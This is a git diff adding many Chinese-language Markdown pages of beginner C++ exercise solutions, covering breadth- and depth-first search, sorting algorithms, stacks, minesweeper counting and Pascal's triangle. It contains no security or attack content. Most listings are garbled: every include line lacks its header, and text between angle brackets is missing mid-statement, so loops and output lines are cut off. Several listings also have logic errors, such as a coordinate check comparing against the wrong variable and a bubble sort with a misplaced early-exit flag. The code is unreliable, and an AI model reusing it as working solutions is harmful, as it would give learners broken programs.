+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b134943e25804704b11322a5a692b2c1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bc0aa303194541b680cedad45ee0ce71.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/502c2c1d82a84cd29c973ec1d527e185.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/687ecedd8d5d4bda926e7c92a4ffbd38.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c532039e09c54b67a5426062ed27e00b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2c1ff999cf834718a06250ab0c6ec397.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/643d06fbeefc4699b8a5371f96cd6ea9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct node{ + int x,y,step; +}; +struct node que[10001]; +int book[101][101]; +int next[12][2]={{-2,-2},{-2,2}, + {2,-2},{2,2}, + {-2,-1},{-2,1}, + {-1,2},{1,2}, + {2,1},{2,-1}, + {1,-2},{-1,-2} + }; +int head=1,tail=1; +int p1,q1,p2,q2,tx,ty,flag1=0,flag2=0; +int s1,s2; +void bfs(){ + que[tail].x=1; + que[tail].y=1; + que[tail].step=0; + tail++; + book[1][1]=1; + while(head100||ty<1||ty>100) continue; + if(book[tx][ty]==0){ + book[tx][ty]=1; + que[tail].x=tx; + que[tail].y=ty; + que[tail].step=que[head].step+1; + tail++; + } + if(flag1==0&&tx==p1&&ty==q1){ + flag1=1; + s1=que[tail-1].step; + } + if(flag2==0&&tx==p2&&ty==p2){ + flag2=1; + s2=que[tail-1].step; + } + } + if(flag1==1&&flag2==1) break; + head++; + } +} +int main(){ + cin>>p1>>q1>>p2>>q2; + bfs(); + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bd5b2c8879244dedbb0fc797fe7cd1e3.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/126dc706a28a43bfbfd875852e728ef8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/55ba1a718e2245e3a078f9ca12af72f3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4a1cfd8138c84a35a410be7d335cc91f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct node{ + int x,y,step; +}; +int book[101][101]; +struct node map[10001]; +int next[8][2]={ + {-2,-1},{-2,1}, + {-1,2},{1,2}, + {2,1},{2,-1}, + {1,-2},{-1,-2} +}; +int n,m,sx,sy,tx,ty; +int head=1,tail=1; +void bfs(){ + map[tail].x=sx; + map[tail].y=sy; + map[tail].step=0; + tail++; + book[map[head].x][map[head].y]=0; + while(headn||ty<1||ty>m) continue; + if(book[tx][ty]==-1){ + map[tail].x=tx; + map[tail].y=ty; + map[tail].step=map[head].step+1; + book[tx][ty]=map[tail].step; + tail++; + } + } + head++; + } +} +int main(){ + cin>>n>>m>>sx>>sy; + for(int i=1;i<=n;i++){ + for(int j=1;j<=m;j++){ + book[i][j]=-1; + } + } + bfs(); + for(int i=1;i<=n;i++){ + for(int j=1;j<=m;j++){ + cout< + + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/efca99660a334ec8850240a4b8667f18.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/76c92c33e08b4c2b829b9d33e8e400d8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7b73cb9159fb4c06a465d931e1b4b4de.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e2efc3a25d05402da32533dcec67f16c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2267a3b69c6a489696468b52cca8f354.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +测试数据: + +8 12 +1 2 +1 3 +1 4 +1 6 +2 6 +3 4 +3 5 +4 7 +5 7 +5 8 +6 8 + +``` + +```cpp +//Author:PanDaoxi +#include +using namespace std; +struct node{ + int city,pre; +}que[1001]; +int map[11][11],book[11],head=1,tail=1,n,m; +void print(int n){ + if(n==1) cout<"<>n>>m; + int a,b; + for(int i=1;i>a>>b; + map[a][b]=1; + map[b][a]=1; + } + bfs(); + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f09bbbd424e34034b0b1fc72c809dd36.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\345\271\277\345\272\246\344\274\230\345\205\210\347\256\227\346\263\225\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\350\256\241\347\256\227\345\262\233\345\261\277\351\235\242\347\247\257.md" "b/C++\345\271\277\345\272\246\344\274\230\345\205\210\347\256\227\346\263\225\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\350\256\241\347\256\227\345\262\233\345\261\277\351\235\242\347\247\257.md" new file mode 100644 index 0000000..1cca8c5 --- /dev/null +++ "b/C++\345\271\277\345\272\246\344\274\230\345\205\210\347\256\227\346\263\225\345\272\224\347\224\250\351\242\230\342\200\224\342\200\224\350\256\241\347\256\227\345\262\233\345\261\277\351\235\242\347\247\257.md" @@ -0,0 +1,78 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/77051e21d14a45ac84cda4d17800d556.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4ecf7128625f4b31afb85cb230f1acea.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e5408bae6d5f470a8b18cc84d86133c4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +测试数据如下: + + +6 6 3 4 +0 1 0 1 1 0 +0 0 0 1 1 1 +1 0 1 1 0 1 +0 0 0 1 0 0 +0 1 1 1 1 0 +0 0 0 0 0 0 + +``` + +```cpp +//Author:PanDaoxi +#include +using namespace std; +//定义结构体 +struct node{ + int x,y; +}que[1001]; +int head=1,tail=1; +//头指针、尾指针分别对应当前搜索对象的下标和下个元素的位置 +int m,n,x,y,map[101][101]; //m,n地图行、列 x,y小童位置的坐标 +int sum=0; //计数器:岛屿的面积 +//搜索方向 +int next[4][2]={{-1,0},{0,1},{1,0},{0,-1}}; +void bfs(){ + //第一个搜索的点 + que[tail].x=x; + que[tail].y=y; + map[x][y]=0; + tail++; + //更新岛屿面积 + sum++; + //广搜核心代码 + while(headm||ty<1||ty>n) continue; + //判断是否为陆地 + if(map[tx][ty]==1){ + que[tail].x=tx; + que[tail].y=ty; + tail++; + map[tx][ty]=0; + sum++; + } + } + //搜索完以后 + head++; + } +} +int main(){ + //输入地图行列、小童的坐标 + cin>>m>>n>>x>>y; + for(int i=1;i<=m;i++){ + for(int j=1;j<=n;j++){ + cin>>map[i][j]; + } + } + //广度优先搜索 + bfs(); + //输出信息 + cout< +using namespace std; +int g[1001][1001]; +int main(){ + int n,e,a,b,c; //c权值 + cin>>n>>e; //顶点和边数 + //接收边的状态 + for(int i=1;i<=e;i++){ + cin>>a>>b>>c; + g[a][b]=c; + g[b][a]=c; + } + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cout< +using namespace std; +const int maxn=101; +int a[maxn],r[maxn]; +void merge(int left,int right){ + { + if(left==right) return; + int mid=(left+right)/2; + merge(left,mid); + merge(mid+1,right); + int i=left,j=mid+1,k=left; + while(i<=mid&&j<=right){ + if(a[i]>n>>k; + for(int i=1;i<=n;i++){ + cin>>a[i]; + } + merge(1,n); + cout< +using namespace std; + +int main(){ + int n; + cout << "请输入边长:"; + cin >> n; + + for (int i = 1;i <= n;i ++){ + if (i == 1 || i == n){ + for (int j = 1;j <= n;j ++){ + cout << "*"; + } + cout << endl; + } + if (i >= 2 && i <= n - 1){ + cout << "*"; + for (int k = 1;k <= n - 2;k ++){ + cout << " "; + } + cout << "*" << endl; + } + } + + return 0; +} +``` + diff --git "a/C++\346\210\220\347\273\251\345\215\225\351\227\256\351\242\230.md" "b/C++\346\210\220\347\273\251\345\215\225\351\227\256\351\242\230.md" new file mode 100644 index 0000000..7626867 --- /dev/null +++ "b/C++\346\210\220\347\273\251\345\215\225\351\227\256\351\242\230.md" @@ -0,0 +1,19 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210715154946374.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +😅还是做一做吧,虽然有点幼稚 +```cpp +#include +using namespace std; + +int main(){ + int arr[5][3] = {78,67,34,99,44,88,66,66,44,33,33,99,78,87,66}; + int sum1 = 0,sum2 = 0; + for (int i = 0;i < 5;i ++){ + sum1 = arr[i][0] + arr[i][1] + arr[i][2]; + if (sum2 < sum1){ + sum2 = sum1; + } + } + cout << sum2 << endl; + return 0; +} +``` diff --git "a/C++\346\211\223\345\215\260\346\235\250\350\276\211\344\270\211\350\247\222.md" "b/C++\346\211\223\345\215\260\346\235\250\350\276\211\344\270\211\350\247\222.md" new file mode 100644 index 0000000..f2933a6 --- /dev/null +++ "b/C++\346\211\223\345\215\260\346\235\250\350\276\211\344\270\211\350\247\222.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210716162010285.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int a[10][10]; + for(int i=0;i<10;i++){ + for(int j=0;j<10-i;j++) cout<<" "; + for(int k=0;k<=i;k++){ + if(k==0||k==i) a[i][k]=1; + else a[i][k]=a[i-1][k-1]+a[i-1][k]; + cout< +using namespace std; +//a=收益 +//book=第i个人是否分配了工作 +//maxl=最高收入 +//n=工作数目 +int a[31][31],book[31],maxl=0,n; +void dfs(int step,int t){ //step=第几份工作 t=收益 + if(step>n){ //分配完毕 + if(t>maxl) maxl=t; + return 0; + } + for(int i=1;i<=n;i++){ + //判断第i个人是否被分配 + if(book[i]==0){ + book[i]=1; + t+=a[step][i]; + dfs(step+1,t); + //回溯 + t-=a[step][i]; + book[i]=0; + } + } +} +int main(){ + cin>>n; + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cin>>a[i][j]; + } + } + dfs(1,0); + cout< +using namespace std; +int main() +{ + int n,m,cnt=0; + char a[101][101]; + cin>>n>>m; + for(int i=0; i>a[i][j]; + } + } + for(int i=0; i 扫雷游戏地雷数计算 +【问题描述】 +扫雷游戏是一款十分经典的单机小游戏。它的精髓在于,通过已翻开格子所提示的周围格地雷数,来判断未翻开格子里是否是地雷。现在给出n行m列的雷区中的地雷分布,要求计算出每个非地雷格的周围格地雷数。 +注:每个格子周围格有八个:上、下、左、右、左上、右上、左下、右下。 +输入:第一行包含两个整数n和m,分别表示雷区的行数和列数。1 <= n <= 100, 1 <= m <= 100。接下来n行,每行m个字符,‘*’表示相应格子中是地雷,‘?’表示相应格子中无地雷。字符之间无任何分隔符。 +输出:n行,每行m个字符,描述整个雷区。若相应格中是地雷,则用‘*’表示,否则用相应的周围格地雷数表示。字符之间无任何分隔符。 +【样例输入】 +3 3 +*?? +??? +?*? +【样例输出】 +*10 +221 +1*1 + +```cpp +#include +using namespace std; +int main(){ + int n,m,cnt=0; + char a[102][102]; + cin>>n>>m; + for(int i=0;i>a[i][j]; + } + } + for(int i=0;i +using namespace std; +int x,y,z; +int find(int n){ + if(x==2||y==2){ + cout<<1<<" "<<1<y?x:y); +} +int main(){ + int n; + cin>>n; + if(n==1){ + cout<<-1< +using namespace std; + +int main(){ + string str; + cin>>str; + for(int i=0;i='A'&&str[i]<='Z') str[i]+=32; + else str[i]-=32; + } + cout< +using namespace std; +int a[10001]; +int output(int n){ + for(int i=1;i<=n;i++){ + if(i!=1) cout<<"+"; + cout<=a[ans-1]){ + a[ans]=i; + a[ans+1]=n-i; + output(ans+1); + calc(n-i,ans+1); + } + } +} +int main(){ + int n; + cin>>n; + a[0]=0; + calc(n,1); +} +``` + diff --git "a/C++\346\213\254\345\217\267\345\214\271\351\205\215\351\227\256\351\242\230.md" "b/C++\346\213\254\345\217\267\345\214\271\351\205\215\351\227\256\351\242\230.md" new file mode 100644 index 0000000..edf6194 --- /dev/null +++ "b/C++\346\213\254\345\217\267\345\214\271\351\205\215\351\227\256\351\242\230.md" @@ -0,0 +1,31 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b04d5275e8df4b87a7f09a1459ad3b61.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +const int n=100; +char a[n+1],s[100]; +int top=0; +int main(){ + cin>>a; + int len=strlen(a); + for(int i=0;i0&&s[top]=='(') top--; + else if(a[i]==']'&&top>0&&s[top]=='[') top--; + else { + cout<<"NO"< +using namespace std; +int main(){ + int q[1001],n,front=0,rear=0,x,ans; + cin>>n; + for(int i=0;i +using namespace std; +const int N=101; +int main(){ + int n,a[N]; + cin>>n; + for(int i=0;i>a[i]; + } + for(int i=n-1;i>=1;i--){ + for(int j=0;ja[j+1]){ // 如果大,就放到后面去,和小的交换位置 + swap(a[j],a[j+1]); + } + } + } + for(int i=0;i +using namespace std; +const int N=101; +int main(){ + int n,a[N]; + bool flag; // 优化:判断交换的开关 + cin>>n; + for(int i=0;i>a[i]; + } + for(int i=n-1;i>=1;i--){ + flag=true; // 判断是否交换 + for(int j=0;ja[j+1]){ + swap(a[j],a[j+1]); + } + flag=false; // 已经交换 + } + if(flag){ + break; + } + } + for(int i=0;i +using namespace std; +const int N=101; +int main(){ + int n,a[N]; + cin>>n; + for(int i=0;i>a[i]; + } + for(int i=n-1;i>=1;i--){ + for(int j=0;ja[j+1]){ // 如果大,就放到后面去,和小的交换位置 + swap(a[j],a[j+1]); + } + } + } + for(int i=0;i +using namespace std; +const int maxn=101; +int a[maxn],r[maxn]; +// 归并排序 +void merge(int left,int right){ + { + // 1.分解 + if(left==right) return; // 分解完成 + int mid=(left+right)/2; + merge(left,mid); + merge(mid+1,right); + // 2.归并 + int i=left,j=mid+1,k=left; + while(i<=mid&&j<=right){ // 两侧都有数值 + if(a[i]>n; + for(int i=1;i<=n;i++){ + cin>>a[i]; + } + // 归并排序 + merge(1,n); + for(int i=1;i<=n;i++){ + cout< +using namespace std; +const int maxn=101; +int a[maxn]; +// 快速排序函数 +void qsort(int left,int right){ + // 递归边界:如果left>=right(即这一趟排序完成) + if(left>=right) return; + // 保存基准值和左右指针 + int x=a[left],i=left,j=right; + while(i=x) j--; // 右边数值比基准值大 + a[i]=a[j]; + while(i>n; + for(int i=1;i<=n;i++){ + cin>>a[i]; + } + // 快速排序:从数组a下标到n + qsort(1,n); + for(int i=1;i<=n;i++){ + cout< +using namespace std; +int main(){ + int a[10001],n,k; + cin>>n; + for(int i=0;i>a[i]; + } + // 作比较 + for(int i=1;i=0&&key +using namespace std; +int main(){ + int n,k,a[10001]={}; + cin>>n; + for(int i=0;i>k; + a[k]++; + } + for(int i=0;i<10000;i++){ + for(int j=0;j +using namespace std; +int main(){ + int n,k,a[1001]; + cin>>n; + for(int i=0;i>a[i]; + } + for(int i=0;i +using namespace std; +int main(){ + int n; + cin>>n; + for(int i=1;i<=n;i++){ + if(i%6) cout< +#include +using namespace std; +int main(){ + int n=0; + char c[101][101]={}; + cin>>n; + memset(c,32,sizeof(c)); + for(int i=1;i<=n;i++){ + c[1][i]='*'; + c[n][i]='*'; + } + for(int i=2,j=n-1;i +using namespace std; +char map[201][201]; //map=字符型地图 *=道路 #=机关 +bool vis[201][201]; //记录是否走过 0=未走过 1=走过 +int n,m,t; //n,m=地图大小 t=装备数量 +int sx,sy,ex,ey; //sx,sy=起始坐标 ex,ey=终点坐标 +int minTime=100001; +int next[4][2]={{-1,0},{1,0},{0,-1},{0,1}}; +void dfs(int i,int j,int life,int time){ + //走到终点就结束搜索 + if(i==ex&&j==ey){ + if(time=1&&tx<=n&&ty>=1&&ty<=m&&!vis[tx][ty]){ + //优化深搜 + if(time+1>=minTime){ + continue; + } + vis[tx][ty]=1; + //顺利通过 + if(map[tx][ty]=='*'&&life>=0){ + dfs(tx,ty,life,time+1); //递归 + } + if(map[tx][ty]=='#'&&life>0){ + dfs(tx,ty,life-1,time+1); //递归 + } + vis[tx][ty]=0; //回溯 + } + } +} +int main(){ + //输入 + cin>>n>>m>>t; + cin>>sx>>sy>>ex>>ey; + for(int i=1;i<=n;i++){ + for(int j=1;j<=m;j++){ + cin>>map[i][j]; + } + } + //深搜 + vis[sx][sy]=1; + dfs(sx,sy,t,0); //t=装备 0=所用时间 + //输出 + if(minTime==100001){ + cout<<"-1"; + } + else{ + cout< +using namespace std; + +int main(){ + cout << "\a"; + cout << "播放已完成!" << endl; + return 0; +} +``` + diff --git "a/C++\346\224\276\350\213\271\346\236\234\351\227\256\351\242\230.md" "b/C++\346\224\276\350\213\271\346\236\234\351\227\256\351\242\230.md" new file mode 100644 index 0000000..2c53061 --- /dev/null +++ "b/C++\346\224\276\350\213\271\346\236\234\351\227\256\351\242\230.md" @@ -0,0 +1,35 @@ +近期由于课业繁忙,无法发布文章,只能利用周末的时间抓紧学习C++语言。今天下午突然有事,所以下午没办法发布有关算法学习的文章了。望谅解。 + +周内尽可能发布广度优先搜索的学习、使用。 +
+ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/de75da15b495440eb1cb71e0dcf5a297.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int apple(int m,int n){ + if(m<0||n<1) return 0; + else if(m==0||n==1) return 1; + else if(m>n; + while(n){ + int a,b; + cin>>a>>b; + cout< +#include +using namespace std; +bool cmp(int n){ + int m=n,x,y=0,a[11],b[11]; + while(m!=0){ + x=m%10; + m/=10; + a[y++]=x; + } + for(int i=0;i>n; + for(int i=10;i<=n;i++){ + if(cmp(i)) sum++; + } + cout< + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int a[10001]={1},n,sum=0; +void output(int y){ + cout<>n; + find(n,1); + cout<<"total="< +#include +using namespace std; + +bool check(char n[10001],char d){ + for(int i=0;i>a>>b; + if(check(a,b)) c="true"; + else c="false"; + cout< +using namespace std; +int main(){ + int a[101],n; + cin>>n; + for(int i=0;i>a[i]; + } + for(int i=n-1;i>=0;i--){ + cout< +using namespace std; + +int rabbit(int month){ + int num=0; + if(month<=2) num=1; + else num=rabbit(month-1)+rabbit(month-2); + return num; +} +int main(){ + cout< +using namespace std; + +int main(){ + double score = 0,min = 101,max = -1,sum = 0; + for (int i = 1;i <= 10;i ++){ + cin >> score; + sum += score; + if (score < min){ + min = score; + } + if (score > max){ + max = score; + } + } + double avg = (sum - max - min) / 8; + cout << avg << endl; + return 0; +} +``` + diff --git "a/C++\346\230\216\346\230\216\347\232\204\351\232\217\346\234\272\346\225\260.md" "b/C++\346\230\216\346\230\216\347\232\204\351\232\217\346\234\272\346\225\260.md" new file mode 100644 index 0000000..bdcaa12 --- /dev/null +++ "b/C++\346\230\216\346\230\216\347\232\204\351\232\217\346\234\272\346\225\260.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/418e8bf6d7d54abb95d4c6b1e8ddcea9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +建议使用桶排序。 + +```cpp +//Author:Pan Daoxi +#include +using namespace std; +int main(){ + int n,k,a[10001]={}; + cin>>n; + for(int i=0;i>k; + a[k]++; + } + for(int i=0;i<10000;i++){ + if(a[i]!=0) cout< +#include +using namespace std; +int wk[10001],od[10001],wk_num[10001],od_num[10001]; +int m,n; //m=工作项数 n=工作人数 +int main(){ + bool flag=false; //开关 + cin>>m>>n; + for(int i=1;i<=m;i++){ + cin>>od[i]; + } + for(int j=1;j<=n;j++){ + cin>>wk[j]; + } + //排序 + sort(od+1,od+m+1); + sort(wk+1,wk+n+1); + int sum=0,cnt=1; //sum=总开销 + for(int i=1;i<=n;i++){ + if(wk[i]>=od[cnt]){ + sum+=wk[i]; + od_num[cnt]=od[cnt]; + wk_num[cnt]=wk[cnt]; + cnt++; + } + if(cnt==m+1){ + flag=true; + break; + } + } + if(!flag) cout<<"failed"< +using namespace std; +//map=地图 +char map[30][30]; +//vis=标记字母是否使用过 +//r,s=矩阵的长和宽 +//maxs=最大值 +//cnt=每次搜索的值 +int vis[30]={},r,s,maxs=0,cnt=1; +//搜索方向:上右下左 +int f[4][2]={{-1,0},{0,1},{1,0},{0,-1}}; +//深搜函数 +void dfs(int x,int y){ + if(cnt>maxs) maxs=cnt; + for(int i=0;i<4;i++){ + int x1=x+f[i][0],y1=y+f[i][1]; + //不超过边界且字母不能重复 + //map[x1][y1]=储存的字母 + if(x1>=1&&x1<=r&&y1>=1&&y1<=s&&vis[map[x1][y1]-'A']==0){ + cnt++; + vis[map[x1][y1]-'A']=1; //标记已经使用 + dfs(x1,y1); + //回溯 + vis[map[x1][y1]-'A']=0; + cnt--; + } + } +} +int main(){ + cin>>r>>s; + for(int i=1;i<=r;i++){ + for(int j=1;j<=s;j++){ + cin>>map[i][j]; + } + } + vis[map[1][1]-'A']=1; + dfs(1,1); + cout< +using namespace std; + +int main(){ + int a[101][101],n; + cin>>n; + cout< +using namespace std; +const int N=1010; +int stack[N],a[N],top=0,n; //栈和指针 +int main(){ + for(int i=1;i<=5;++i){ + cin>>a[i]; //输入骑士编号 + } + for(int i=1,cur=1;i<=5;i++){ // cur是编号 + while(cur<=a[i]){ + stack[++top]=cur; //骑士编号入栈 + cur+=2; //从1开始每次增加5 + } + if(stack[top]==a[i]) --top; + else { + cout<<"NO"< +using namespace std; +const int N=1010; +int stack[N],a[N]; +int top=0,n; +int main(){ + cin>>n; + for(int i=1;i<=n;++i){ + cin>>a[i]; + } + for(int i=1,cur=1;i<=n;i++){ + while(cur<=a[i]) stack[++top]=cur++; + if(stack[top]==a[i]) --top; + else{ + cout<<"No"< +using namespace std; +const int n=100; +int s[n+1], // 模拟栈 +top=0; // 指针 +void push(int x){ // 入栈 + if(top0) top--; //指针自减 + return; +} +void clear(){ //清空栈 + top=0; // 指针清空 + return; +} +void gtop(){ // 获取栈顶元素 + cout<<"栈顶的元素:"< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/24808a5ddf4140c5a2eac30a3cddac38.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/97b53adc59af40abbc2400ba8560b564.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/406e15dbe192408381aec45036df52e9.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a2ca12dea75f4912ae2ff456f6119e37.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a98ec8aa3f6d4c9ea6ca5b6fa45b4104.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/869b7280aee94948afa7456a5afb1cc4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4fe03b8f29b4444d8ceac7f4a24ea4d6.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +**在二叉树的第`i`层上最多有(2^i-1^)个节点; +深度为`k`的二叉树最多有(2^k^-1)个节点。** +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a35ec34f4ee5462d8b7ce44b4c0e9e78.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/03a849dbc6a5474ab6a741b80518831e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) 